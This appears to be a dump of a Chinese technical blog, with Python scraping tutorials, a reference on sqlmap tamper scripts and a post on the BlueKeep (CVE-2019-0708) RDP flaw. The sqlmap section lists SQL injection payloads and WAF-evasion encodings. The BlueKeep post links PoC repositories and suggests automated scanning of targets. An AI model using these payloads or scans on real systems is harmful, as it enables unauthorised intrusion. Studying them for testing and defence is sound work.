    ## 京东商品信息的爬取# 不需要对头部做任何修改,即可爬网页import requestsurl = 'http://item.jd.com/2967929.html'try:    r = requests.get(url, timeout=30)    r.raise_for_status()    r.encoding = r.apparent_encoding    print(r.text[:1000])  # 部分信息except:    print("失败")

    实例二:亚马逊商品信息的爬取

    ## 亚马逊商品信息的爬取# 该网页中对爬虫进行的爬取做了限制,因此我们需要伪装自己为浏览器发出的请求import requestsurl = 'http://www.amazon.cn/gp/product/B01M8L5Z3Y'try:    kv = {'user_agent': 'Mozilla/5.0'}    r = requests.get(url, headers=kv)  # 改变自己的请求数据    r.raise_for_status()    r.encoding = r.apparent_encoding    print(r.text[1000:2000])  # 部分信息except:    print("失败")

    实例三:百度搜索关键字提交

    ## 百度搜索关键字提交# 百度的关键字接口:https://www.baidu.com/s?wd=keywordimport requestskeyword = 'python'try:    kv = {'wd': keyword}    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36"}    r = requests.get('https://www.baidu.com/s', params=kv, headers=headers)    r.raise_for_status()    r.encoding = r.apparent_encoding    # print(len(r.text))    print(r.text)except:    print("失败")

    实例四:网络图片的爬取

    ## 网络图片的爬取import requestsimport ostry:    url = "https://odonohz90.qnssl.com/library/145456/bb0b3faa7a872d012bb4c57256b47585.jpg?imageView2/2/w/1000/h/1000/q/75"  # 图片地址    root = r"D:\DataguruPyhton\PythonSpider\lesson3\pic\\"    path = root + url.split("/")[-1]    if not path.endswith(".jpg"):        path += ".jpg"    if not os.path.exists(root):  # 目录不存在创建目录        os.mkdir(root)    if not os.path.exists(path):  # 文件不存在则下载        r = requests.get(url)        f = open(path, "wb")        f.write(r.content)        f.close()        print("文件下载成功")    else:        print("文件已经存在")except:    print("获取失败")
    ]]>
    - - - - - Python - - - - - - - Python - - requests - - urllib - - - -
    - - - - - Python网络爬虫实战之二:环境部署、基础语法、文件操作 - - /Coderzgh.github.io/2019/05/12/python-crawler-basic-oper-2/ - - 一、Python的环境部署

    Python安装、Python的IDE安装本文不再赘述,网上有很多教程

    爬虫必备的几个库:Requests、Selenium、lxml、Beatiful Soup

    • Requests 是基于urllib编写的第三方扩展库,是采用Apache2 Licensed开源协议的HTTP库
    • Selenium是一个自动化测试工具,利用它我们可以驱动浏览器执行特定的动作,如点击、下拉等操作。对于一些JavaScript渲染的页面来说,这种抓取方式非常有效。
    • lxml是Python的一个解析库,支持HTML和XML的解析,支持XPath解析方式,而且解析效率非常高
    • Beatiful Soup是Python的一个HTML或XML的解析库,我们可以用它来方便地从网页中提取数据

    二、Python的基础语法

    可参考我的《趣学Python——教孩子学编程》系列笔记

    《趣学Python——教孩子学编程》学习笔记第1-3章

    《趣学Python——教孩子学编程》学习笔记第4-6章

    《趣学Python——教孩子学编程》学习笔记第7-8章

    《趣学Python——教孩子学编程》学习笔记第9-10章

    《趣学Python——教孩子学编程》学习笔记第11-12章

    《趣学Python——教孩子学编程》学习笔记第13章

    三、Python文件的读取与输出

    键盘输入

    # 键盘输入(python3将raw_input和input进行了整合,只有input)str = input("Please enter:")print("你输入的内容是:", str)

    打开文件

    # 打开一个文件fo = open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "wb")print("文件名:", fo.name)print("是否已关闭:", fo.closed)print("访问模式:", fo.mode)

    关闭文件

    # 关闭一个文件fo = open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "wb")fo.close()print("是否已关闭:", fo.closed)

    写入文件内容

    # 写入文件内容fo = open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "r+")fo.write("www.baidu.com www.cctvjiatao.com")fo.flush()fo.close()

    读取文件内容

    fo = open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "r+")str = fo.read(11)print("读取的字符串是:", str)fo.close()

    查找当前位置

    # 查找当前位置fo = open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "r+")str = fo.read(11)position = fo.tell()print("当前读取的位置是:", position)# result: 当前文件位置: 11fo.close()

    文件指针重定位

    # 文件指针重定位fo = open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "r+")str = fo.read(11)print("读取的字符串1:", str)# result: 重新读取的字符串1: www.baidu.cposition = fo.tell()print("当前文件位置:", position)# result: 当前文件位置: 11str = fo.read(11)print("读取的字符串2:", str)# result: 读取的字符串2: om www.cctvpostion = fo.seek(0, 0)str = fo.read(11)print("读取的字符串3:", str)# result: 读取的字符串3: www.baidu.cfo.close()

    文件重命名

    # 文件重命名 filejiatao.txt——>filejiatao2.txtimport ossrc_file = r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt"dst_file = r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao2.txt"os.rename(src_file, dst_file)

    删除文件

    # 删除一个文件import osdirty_file = r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao2.txt"os.remove(dirty_file)

    异常处理1

    img

    2-1.jpg

    # 异常处理1try:    fh = open("testfile.txt", "w")    fh.write("this is my test file for exception handing!")except IOError:    print("Eorror:can\'t find file or read data")else:    print("witten content in the file successfully")    fh.close()

    异常处理2

    # 异常处理2try:    fh = open("testfile.txt", "w")    fh.write("this is my test file for exception handing!")finally:    print("Eorror:I don\'t kown why ...")

    异常处理3

    # 异常处理3def temp_convert(var):    try:        return int(var)    # except ValueError,Argument:    #     print("The argument does not contain numbers\n",Argument)    except (ValueError) as Argument:        print("The argument does not contain numbers\n", Argument)temp_convert("xyz")
    ]]>
    - - - - - Python - - - - - - - Python - - - -
    - - - - - Python网络爬虫实战之一:网络爬虫理论基础 - - /Coderzgh.github.io/2019/05/11/python-crawler-basic-internet-1/ - - 一、浏览网页的基本过程和通信基础

    当我们在浏览器地址栏输入: http://www.baidu.com 回车后会浏览器显示百度的首页,那这 段网络通信过程中到底发生了什么?

    简单来说这段过程发生了以下四个步骤:

    1. 浏览器通过DNS服务器查找域名对应的IP地址;
    2. 向IP地址对应的Web服务器发送请求 ;
    3. Web Web服务器响应请求,发回HTML页面 ;
    4. 浏览器解析HTML内容,并显示出来

    DNS

    • DNS 是计算机域名系统 (Domain Name System (Domain Name System 或 Domain Name Service) 的缩写,由解析器和域名服务组成的。
    • 域名服务器是指保存有该网络中所主机的和对应 IP 地址,并具有将域名转换为 IP 地址功能的服务器。
    • 一般个域名的DNS解析时间在10~60毫秒之间。
    • 一个域名必须对应IP地址,而一个IP地址不一定会有域名

    HTTP和HTTPS

    • HTTP协议(HyperText Transfer Protocol,超文本传输协议)是一种发布和接收HTML页面的方法
    • HTTPS协议(HyperText Transfer Protocol over Secure Socket Layer)简单的讲就是HTTP的安全版,在HTTP下加入SSL层
    • SSL(Secure Socket Layer 安全套接层)主要用于Web的安全传输协议,在传输层对网络连接进行加密,保障在Internet上数据传输的安全
    • HTTP的端口号是80,HTTPS的端口号是443

    URI与URL

    • URI(Uniform Resource Identifier)统一资源标志符
    • URL(Universal Resource Locator)统一资源定位符,用于完整地描述Internet上网页和其他资源的地址的一中标识方法
    • URL的基本格式:scheme://host[:port]/path/.../[?query-string][#anchor]

    请求

    请求由客户端向服务端发出,分为四部分:请求方法、请求的网址、请求头、请求体

    • 请求方法

    img

    1-1.jpg

    • 请求头,用来说明服务器使用的附加信息,比较重要的信息有Cookie、Referer、user-Agent等。

    img

    1-2.jpg

    • 请求体,一般承载的内容是POST请求中的表单数据,而对于GET请求,请求体则为空。

    img

    1-3.jpg

    响应

    响应由服务端返回给客户端,分为三部分:响应状态码、响应头、响应提

    • 响应状态码

    img

    1-4.jpg

    • 响应头,包含了服务器对请求的应答信息,如Content-Type、Server、Set-Cookie等。

    img

    1-4.jpg

    • 响应体,响应的正文数据都在响应体中,比如请求网页时他的响应体就是网页的HTML代码,请求一张图片时,它的响应体就是图片的二进制数据。我们做爬虫请求网页后,要解析的就是响应体

    二、爬虫基本工作原理

    爬虫基本类型

    • 通用爬虫:是 捜索引擎抓取系统(Baidu、Google、Yahoo等)的重要组成部分。主要目的是将互联网上的网页下载到本地,形成一个互联网内容的镜像备份。
    • 聚焦爬虫:是”面向特定主题需求”的一种网络爬虫程序,它与通用搜索引擎爬虫的区别在于, 聚焦爬虫在实施网页抓取时会对内容进行处理筛选,尽量保证只抓取与需求相关的网页信息。
    • 增量式爬虫:增量式更新指的是在更新的时候只更新改变的地方,而未改变的地方则不更新。所以增量式爬虫技术在爬取网页的过程中,只爬取内容发生变化或是新产生的网页,对未发生内容变化的网页则不会爬取。

    爬虫的基本工作流程(以通用爬虫为例)

    img

    ​ 1-7.png

    第一步:抓取网页
    • 首先选取一部分的种子URL,将这些URL放入待抓取URL队列;
    • 取出待抓取URL,解析DNS得到主机的IP,并将URL对应的网页下载下来,存储进已下载网页库中,并且将这些URL放进已抓取URL队列。
    • 分析已抓取URL队列中的URL,分析其中的其他URL,并且将URL放入待抓取URL队列,从而进入下一个循环
    第二步:数据存储
    • 搜索引擎通过爬虫爬取到的网页,将数据存入原始页面数据库。其中的页面数据与用户浏览器得到的HTML是完全一样的。
    • 搜索引擎蜘蛛在抓取页面时,也做一定的重复内容检测,一旦遇到访问权重很低的网站上有大量抄袭、采集或者复制的内容,很可能就不再爬行。
    第三步:预处理
    • 搜索引擎将爬虫抓取回来的页面,进行各种步骤的预处理,比如:提取文字、中文分词、消除噪音(比如版权声明文字、导航条、广告等……)、索引处理、链接关系计算、特殊文件处理….
    • 除了HTML文件外,搜索引擎通常还能抓取和索引以文字为基础的多种文件类型,如 PDF、Word、WPS、XLS、PPT、TXT 文件等。我们在搜索结果中也经常会看到这些文件类型。
    • 但搜索引擎还不能处理图片、视频、Flash 这类非文字内容,也不能执行脚本和程序。
    第四步:操作数据,实现需求

    比如获取京东某类商品的所有评论、购买用户的会员等级

    爬虫基本结构

    img

    1-6.jpg

    爬虫的抓取策略

    • 深度优先遍历策略
    • 广度优先遍历策略
    • 方向链接策略
    • Partial PageRank 策略
    • OPIC策略

    爬虫的更新策略

    • 历史参考策略
    • 用户体验策略
    • 聚类抽样策略

    网页分析算法

    • 基于用户行为的网页分析算法
    • 基于网络拓扑的网页分析算法
    • 基于网页内容的网页分析算法
    ]]>
    - - - - - Python - - - - - - - Python - - - -
    - - - - - sqlmap使用记录--tamper - - /Coderzgh.github.io/2019/04/01/sqlmap-tamper/ - -

    sqlmap在默认的的情况下除了使用char()函数防止出现单引号,没有对注入的数据进行修改,还可以使用–tamper参数对数据做修改来绕过waf等设备。

    0x01 命令如下

    1  sqlmap -u [url] --tamper [模块名]

    sqlmap的绕过脚本在目录usr/share/golismero/tools/sqlmap/tamper下
    目前sqlmap 1.2.9版本共有37个

    可以使用–identify-waf对一些网站是否有安全防护进行试探

    0x02 常用tamper脚本

    apostrophemask.py

    适用数据库:ALL
    作用:将引号替换为utf-8,用于过滤单引号
    使用脚本前:tamper(“1 AND ‘1’=’1”)
    使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

    base64encode.py

    适用数据库:ALL
    作用:替换为base64编码
    使用脚本前:tamper(“1’ AND SLEEP(5)#”)
    使用脚本后:MScgQU5EIFNMRUVQKDUpIw==

    multiplespaces.py

    适用数据库:ALL
    作用:围绕sql关键字添加多个空格
    使用脚本前:tamper(‘1 UNION SELECT foobar’)
    使用脚本后:1 UNION SELECT foobar

    space2plus.py

    适用数据库:ALL
    作用:用加号替换空格
    使用脚本前:tamper(‘SELECT id FROM users’)
    使用脚本后:SELECT+id+FROM+users

    nonrecursivereplacement.py

    适用数据库:ALL
    作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
    使用脚本前:tamper(‘1 UNION SELECT 2–’)
    使用脚本后:1 UNIOUNIONN SELESELECTCT 2–

    space2randomblank.py

    适用数据库:ALL
    作用:将空格替换为其他有效字符
    使用脚本前:tamper(‘SELECT id FROM users’)
    使用脚本后:SELECT%0Did%0DFROM%0Ausers

    unionalltounion.py

    适用数据库:ALL
    作用:将union allselect 替换为unionselect
    使用脚本前:tamper(‘-1 UNION ALL SELECT’)
    使用脚本后:-1 UNION SELECT

    securesphere.py

    适用数据库:ALL
    作用:追加特定的字符串
    使用脚本前:tamper(‘1 AND 1=1’)
    使用脚本后:1 AND 1=1 and ‘0having’=’0having’

    space2dash.py

    适用数据库:ALL
    作用:将空格替换为–,并添加一个随机字符串和换行符
    使用脚本前:tamper(‘1 AND 9227=9227’)
    使用脚本后:1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227

    space2mssqlblank.py

    适用数据库:Microsoft SQL Server
    测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
    作用:将空格随机替换为其他空格符号(‘%01’, ‘%02’, ‘%03’, ‘%04’, ‘%05’, ‘%06’, ‘%07’, ‘%08’, ‘%09’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0E’, ‘%0F’, ‘%0A’)
    使用脚本前:tamper(‘SELECT id FROM users’)
    使用脚本后:SELECT%0Eid%0DFROM%07users

    between.py

    测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
    作用:用NOT BETWEEN 0 AND #替换>
    使用脚本前:tamper(‘1 AND A > B–’)
    使用脚本后:1 AND A NOT BETWEEN 0 AND B–

    percentage.py

    适用数据库:ASP
    测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
    作用:在每个字符前添加一个%
    使用脚本前:tamper(‘SELECT FIELD FROM TABLE’)
    使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

    sp_password.py

    适用数据库:MSSQL
    作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
    使用脚本前:tamper(‘1 AND 9227=9227– ‘)
    使用脚本后:1 AND 9227=9227– sp_password

    charencode.py

    测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
    作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
    使用脚本前:tamper(‘SELECT FIELD FROM%20TABLE’)
    使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

    randomcase.py

    测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
    作用:随机大小写
    使用脚本前:tamper(‘INSERT’)
    使用脚本后:INseRt

    charunicodeencode.py

    适用数据库:ASP、ASP.NET
    测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
    作用:适用字符串的unicode编码
    使用脚本前:tamper(‘SELECT FIELD%20FROM TABLE’)
    使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

    space2comment.py

    测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
    作用:将空格替换为//
    使用脚本前:tamper(‘SELECT id FROM users’)
    使用脚本后:SELECT/
    /id//FROM//users

    equaltolike.py

    测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
    作用:将=替换为LIKE
    使用脚本前:tamper(‘SELECT FROM users WHERE id=1’)
    使用脚本后:SELECT
    FROM users WHERE id LIKE 1

    equaltolike.py

    测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
    作用:将>替换为GREATEST,绕过对>的过滤
    使用脚本前:tamper(‘1 AND A > B’)
    使用脚本后:1 AND GREATEST(A,B+1)=A

    ifnull2ifisnull.py

    适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
    测试通过数据库:MySQL 5.0 and 5.5
    作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
    使用脚本前:tamper(‘IFNULL(1, 2)’)
    使用脚本后:IF(ISNULL(1),2,1)

    modsecurityversioned.py

    适用数据库:MySQL
    测试通过数据库:MySQL 5.0
    作用:过滤空格,使用mysql内联注释的方式进行注入
    使用脚本前:tamper(‘1 AND 2>1–’)
    使用脚本后:1 /!30874AND 2>1/–
    space2mysqlblank.py

    适用数据库:MySQL
    测试通过数据库:MySQL 5.1
    作用:将空格替换为其他空格符号(‘%09’, ‘%0A’, ‘%0C’, ‘%0D’, ‘%0B’)
    使用脚本前:tamper(‘SELECT id FROM users’)
    使用脚本后:SELECT%0Bid%0DFROM%0Cusers

    modsecurityzeroversioned.py

    适用数据库:MySQL
    测试通过数据库:MySQL 5.0
    作用:使用内联注释方式(/!00000/)进行注入
    使用脚本前:tamper(‘1 AND 2>1–’)
    使用脚本后:1 /!00000AND 2>1/–

    space2mysqldash.py

    适用数据库:MySQL、MSSQL
    作用:将空格替换为 – ,并追随一个换行符
    使用脚本前:tamper(‘1 AND 9227=9227’)
    使用脚本后:1–%0AAND–%0A9227=9227

    bluecoat.py

    适用数据库:Blue Coat SGOS
    测试通过数据库:MySQL 5.1,、SGOS
    作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
    使用脚本前:tamper(‘SELECT id FROM users where id = 1’)
    使用脚本后:SELECT%09id FROM users where id LIKE 1

    versionedkeywords.py

    适用数据库:MySQL
    测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
    作用:注释绕过
    使用脚本前:tamper(‘1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#’)
    使用脚本后:1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#

    halfversionedmorekeywords.py

    适用数据库:MySQL < 5.1
    测试通过数据库:MySQL 4.0.18/5.0.22
    作用:在每个关键字前添加mysql版本注释
    使用脚本前:tamper(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”)
    使用脚本后:value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’=’QDWa

    space2morehash.py

    适用数据库:MySQL >= 5.1.13
    测试通过数据库:MySQL 5.1.41
    作用:将空格替换为#,并添加一个随机字符串和换行符
    使用脚本前:tamper(‘1 AND 9227=9227’)
    使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227

    apostrophenullencode.py

    适用数据库:ALL
    作用:用非法双字节Unicode字符替换单引号
    使用脚本前:tamper(“1 AND ‘1’=’1”)
    使用脚本后:1 AND %00%271%00%27=%00%271

    appendnullbyte.py

    适用数据库:ALL
    作用:在有效载荷的结束位置加载null字节字符编码
    使用脚本前:tamper(‘1 AND 1=1’)
    使用脚本后:1 AND 1=1%00

    chardoubleencode.py

    适用数据库:ALL
    作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
    使用脚本前:tamper(‘SELECT FIELD FROM%20TABLE’)
    使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545

    unmagicquotes.py

    适用数据库:ALL
    作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
    使用脚本前:tamper(“1’ AND 1=1”)
    使用脚本后:1%bf%27 AND 1=1–

    randomcomments.py

    适用数据库:ALL
    作用:用注释符分割sql关键字
    使用脚本前:tamper(‘INSERT’)
    使用脚本后:I//N//SERT

    0x03 附录:

    img

    0x04 在熟悉了tamper脚本之后,我们应该学习tamper绕过脚本的编写规则,来应对复杂的实际环境。

    ]]>
    - - - - - sqlmap - - - - - - - sqlmap - - - -
    - - - - -
    diff --git a/CNAME b/source/CNAME similarity index 100% rename from CNAME rename to source/CNAME diff --git a/source/_data/friends.json b/source/_data/friends.json new file mode 100644 index 0000000..df9b6a8 --- /dev/null +++ b/source/_data/friends.json @@ -0,0 +1,19 @@ +[{ + "avatar": "http://image.luokangyuan.com/1_qq_27922023.jpg", + "name": "码酱", + "introduction": "我不是大佬,只是在追寻大佬的脚步", + "url": "http://luokangyuan.com/", + "title": "前去学习" +}, { + "avatar": "http://image.luokangyuan.com/4027734.jpeg", + "name": "闪烁之狐", + "introduction": "编程界大佬,技术牛,人还特别好,不懂的都可以请教大佬", + "url": "https://blinkfox.github.io/", + "title": "前去学习" +}, { + "avatar": "http://image.luokangyuan.com/avatar.jpg", + "name": "ja_rome", + "introduction": "平凡的脚步也可以走出伟大的行程", + "url": "ttps://me.csdn.net/jlh912008548", + "title": "前去学习" +}] \ No newline at end of file diff --git a/source/_data/musics.json b/source/_data/musics.json new file mode 100644 index 0000000..32c7259 --- /dev/null +++ b/source/_data/musics.json @@ -0,0 +1,16 @@ +[{ + "name": "五月雨变奏电音", + "artist": "AnimeVibe", + "url": "http://static.blinkfox.com/music1.mp3", + "cover": "http://static.blinkfox.com/music-cover1.png" +}, { + "name": "Take me hand", + "artist": "DAISHI DANCE,Cecile Corbel", + "url": "http://static.blinkfox.com/music2.mp3", + "cover": "http://static.blinkfox.com/music-cover2.png" +}, { + "name": "Shape of You", + "artist": "J.Fla", + "url": "http://static.blinkfox.com/music3.mp3", + "cover": "http://static.blinkfox.com/music-cover3.png" +}] \ No newline at end of file diff --git "a/source/_posts/CVE-2019-0708\346\274\217\346\264\236\346\265\205\346\236\220.md" "b/source/_posts/CVE-2019-0708\346\274\217\346\264\236\346\265\205\346\236\220.md" new file mode 100644 index 0000000..f8c863f --- /dev/null +++ "b/source/_posts/CVE-2019-0708\346\274\217\346\264\236\346\265\205\346\236\220.md" @@ -0,0 +1,75 @@ + + + + + + +# 关于CVE-2019-0708漏洞浅析,和POC验证整理 + +#### 1. 漏洞情况: + + 微软公司于2019年5月14日发布重要安全公告,其操作系统远程桌面(Remote Desktop Services),俗称的3389服务存在严重安全漏洞(编号CVE-2019-0708):攻击者在没有任何授权的情况下,可以远程直接攻击操作系统开放的3389服务,在受害主机上执行恶意攻击行为,包括安装后门,查看、篡改隐私数据,创建拥有完全用户权限的新账户,影响范围从Windows XP到Windows 2008 R2。由于3389服务应用广泛且该漏洞利用条件低,只要服务端口开放即可,导致该漏洞影响和危害程序堪比“WannaCry”。因此,微软额外为Windows XP、Windows 2003这些已经停止支持的系统发布了该漏洞的安全补丁。 + +#### **2. 漏洞概要**: + +*![QQ截图20190605101736.jpg](https://image.3001.net/images/20190605/1559722366_5cf7797ebfc2c.jpg!small)** + + + +#### 3. 预防与修复建议: + +1. 升级微软官方补丁: + +Windos XP、Windows 2003等老旧系统需手动下载补丁:https://support.microsoft.com/en-ca/help/4500705/customer-guidance-for-cve-2019-0708; + +Windows 7、Windows 2008系统自动升级即可,手动升级可到如下链接下载补丁:https://www.catalog.update.microsoft.com/Search.aspx?q=KB4499175; + +2. 如非必要,请关闭远程桌面服务; + + + +#### 4. 打补丁前后比较: + + 通过分析打补丁前后差异在于 termdd.sys 文件的 IcaBindVirtualChannels 及 IcaReBindVirtualChannels ,增加了对 MS_T120 协议通道的判定,如果是通道协议名为 MS_T120 ,则设定 IcaBindChannel 的第三个参数为 31 。 + +[![2.jpg](https://image.3001.net/images/20190605/1559722413_5cf779ad53a16.jpg!small)](https://image.3001.net/images/20190605/1559722413_5cf779ad53a16.jpg) + +服务端在初始化时,会创建名为MS_T120、 Index 为 31 的通道,在收到 MCS Connect Initial 数据封包后进行通道创建和绑定操作,在 IcaBindVirtualChannels 函数中进行绑定时, IcaFindChannelByName 函数只根据通道名进行通道查找。当通道名为 MS_T120 (不区分大小写)时,会找到系统内部通道 MS_T120 的通道并与之绑定,绑定后,通道索引会即被更改为新的通道索引。 + +#### 5. 漏洞复现和POC验证: + +| 验证环境和脚本 | | +| -------------------- | -------------------------------------------- | +| Windows7(靶机) | (VM下NAT模式或桥接模式) | +| kali Linux(验证机) | | +| Python3 | 需要安装POC依赖 OpenSSL,impacket.structure | +| Poc(验证脚本-蓝屏) | https://github.com/1amfine2333/CVE-2019-0708 | +| Poc(未验证) | https://github.com/Ekultek/BlueKeep | +| Poc(基于poc正在开发exp的项目) | https://github.com/algo7/bluekeep_CVE-2019-0708_poc_to_exploit | + + + +##### 5.1 已经开启远程连接,且网络设置正确: + +![](https://i.bmp.ovh/imgs/2019/06/2dce944df2bf5494.png) + + + +##### 5.2 验证机中克隆POC,开始验证: + +![](https://i.bmp.ovh/imgs/2019/06/b1374b7e4c2e013d.png) + + + +##### 5.3 靶机windows7 蓝屏重启: + +![](https://i.bmp.ovh/imgs/2019/06/53a110f293d74507.png) + + + +#### 6.总结与延伸: + +可供验证的POC有很多,仅仅作为漏洞复现,采用了最直观的一种,整理的比较简略,后续可结合shodan,zoomeye等api,编程对具有潜在漏洞特征的目标,实现自动化信息采集和检测。 + + + diff --git a/source/_posts/Python-crawler-BeautifulSoup-4.md b/source/_posts/Python-crawler-BeautifulSoup-4.md new file mode 100644 index 0000000..35ac87e --- /dev/null +++ b/source/_posts/Python-crawler-BeautifulSoup-4.md @@ -0,0 +1,396 @@ +--- +title: Python网络爬虫实战之四:BeautifulSoup +date: 2019-05-14 09:25:00 +author: Demo +img: /source/images/xxx.jpg +top: true +cover: true +coverImg: /images/1.jpg +toc: false +mathjax: false +summary: +categories: Python +tags: + - Python + - BeautifulSoup + +--- + + + + + +## 正文: + +Beautiful Soup 是一个可以从HTML或XML文件中提取数据的Python库.它能够通过你喜欢的转换器实现惯用的文档导航,查找,修改文档的方式.Beautiful Soup会帮你节省数小时甚至数天的工作时间. + +安装: pip install beautifulsoup4 + +> 名字是beautifulsoup 的包,是 Beautiful Soup3 的发布版本,因为很多项目还在使用BS3, 所以 beautifulsoup 包依然有效.但是如果你在编写新项目,那么你应该安装的 beautifulsoup4,这个包兼容Python2和Python3 + +## BeautifulSoup的基础使用 + +下面的一段HTML代码将作为例子被多次用到.这是《爱丽丝梦游仙境》的的一段内容(以后简称文档) + +``` +html_doc = """ +The Dormouse's story + +

    The Dormouse's story

    + +

    Once upon a time there were three little sisters; and their names were +Elsie, +Lacie and +Tillie; +and they lived at the bottom of a well.

    + +

    ...

    +""" +``` + +使用BeautifulSoup解析这段代码,能够得到一个 BeautifulSoup 的对象,并能按照标准的缩进格式的结构输出 + +``` +from bs4 import BeautifulSoup + +soup = BeautifulSoup(html_doc, "lxml") +print(soup.prettify()) +# result: +# +# +# +# The Dormouse's story +# +# +# +#

    +# +# The Dormouse's story +# +#

    +#

    +# Once upon a time there were three little sisters; and their names were +# +# Elsie +# +# , +# +# Lacie +# +# and +# +# Tillie +# +# ; +# and they lived at the bottom of a well. +#

    +#

    +# ... +#

    +# +# +``` + +几个简单的浏览结构化数据的方法 + +``` +soup.title +# result: The Dormouse's story + +soup.title.name +# result: 'title' + +soup.title.string +# result: 'The Dormouse's story' + +soup.title.text +# result: 'The Dormouse's story' + +soup.title.parent.name +# result: 'head' + +soup.p +# result:

    The Dormouse's story

    + +soup.p['class'] +# result: 'title' + +soup.a +# result: Elsie + +soup.find_all('a') +# result: +# [Elsie, +# Lacie, +# Tillie] + +soup.find(id="link3") +# result: Tillie +``` + +从文档中找到所有标签的链接 + +``` +for link in soup.find_all('a'): + print(link.get('href')) +# result: +# http://example.com/elsie +# http://example.com/lacie +# http://example.com/tillie +``` + +从文档中获取所有文字内容 + +``` +print(soup.get_text()) +# result: +# The Dormouse's story +# +# The Dormouse's story +# +# Once upon a time there were three little sisters; and their names were +# Elsie, +# Lacie and +# Tillie; +# and they lived at the bottom of a well. +# +# ... +``` + +从文档中解析导航树 + +``` +# 直接子节点 +print(soup.body.contents) + +for child in soup.descendants: + print(child) + +# 所有后代节点 +for child in soup.descendants: + print(child) + +# 节点内容1-包含换行符 +for string in soup.strings: + print(repr(string)) + +# 节点内容2-不包含换行符 +for string in soup.stripped_strings: + print(repr(string)) + +# 兄弟节点(没有一个兄弟节点会返回None) +print(soup.p.next_sibling) +print(soup.p.previous_sibling) + +for sibling in soup.a.next_siblings: + print(repr(sibling)) + +# 前后节点 +print(soup.head.next_element) +print(soup.head.previous_element) + +# 父节点 +from urllib.request import urlopen + +html = urlopen("http://www.pythonscraping.com/pages/page3.html") +bsObj = BeautifulSoup(html) +print(bsObj.find("img", {"src": "../img/gifts/img1.jpg"}).parent.previous_sibling.get_text()) +``` + +从文档中解析CSS选择器 + +``` +print(soup.select('title')) +print(soup.select('a')) +print(soup.select('b')) +print(soup.select('.sisiter')) +print(soup.select('#link1')) +print(soup.select('p #link1')) +print(soup.select('head > title')) +print(soup.select('a[class="sister"]')) +print(soup.select('a[href="http://example.com/elsie"]')) +print(soup.select('p a[href="http://example.com/elsie"]')) +``` + +结合正则表达式或其他逻辑条件 + +``` +import re + +for tag in soup.find_all(href=re.compile("elsie")): + print(tag) +# result: Elsie + +for tag in soup.find_all("a", class_="sister"): + print(tag) +# result: +# Elsie +# Lacie +# Tillie + +for tag in soup.find_all(["a", "b"]): + print(tag) +# result : +# The Dormouse's story +# Elsie +# Lacie +# Tillie + + +for tag in soup.find_all(True): + print(tag) + + +# result: +# The Dormouse's story +# 